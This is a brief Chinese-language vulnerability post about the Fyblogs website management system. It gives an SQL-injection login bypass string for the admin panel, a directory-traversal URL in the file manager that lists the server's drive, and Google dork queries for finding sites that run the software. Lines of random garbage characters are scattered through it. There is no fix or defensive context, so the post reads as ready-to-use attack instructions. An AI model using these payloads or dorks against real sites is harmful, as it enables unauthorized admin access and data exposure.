Fyblogs网站管理系统漏洞

admin

后台万能密码 'or'='or'
9 n' U2 P3 I5 `) L, i. T
* Q9 x8 D0 h9 t% V9 K4 Z, g/ y; s后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
. s. j* e% r# gadmin/uploadfile.asp?currentFolder=/upfiles/../

' [6 m& i6 J: l. z! X* k漏洞证明：
! A5 R) r% @1 s& Z1 z7 L0 m3 \
谷歌：inurl:type.asp?id=1 新闻中心
, l/ b1 N9 A6 w! `; q- P或者 ：inurl:download_ok.asp?
% u6 t" s  }% E  D# R, v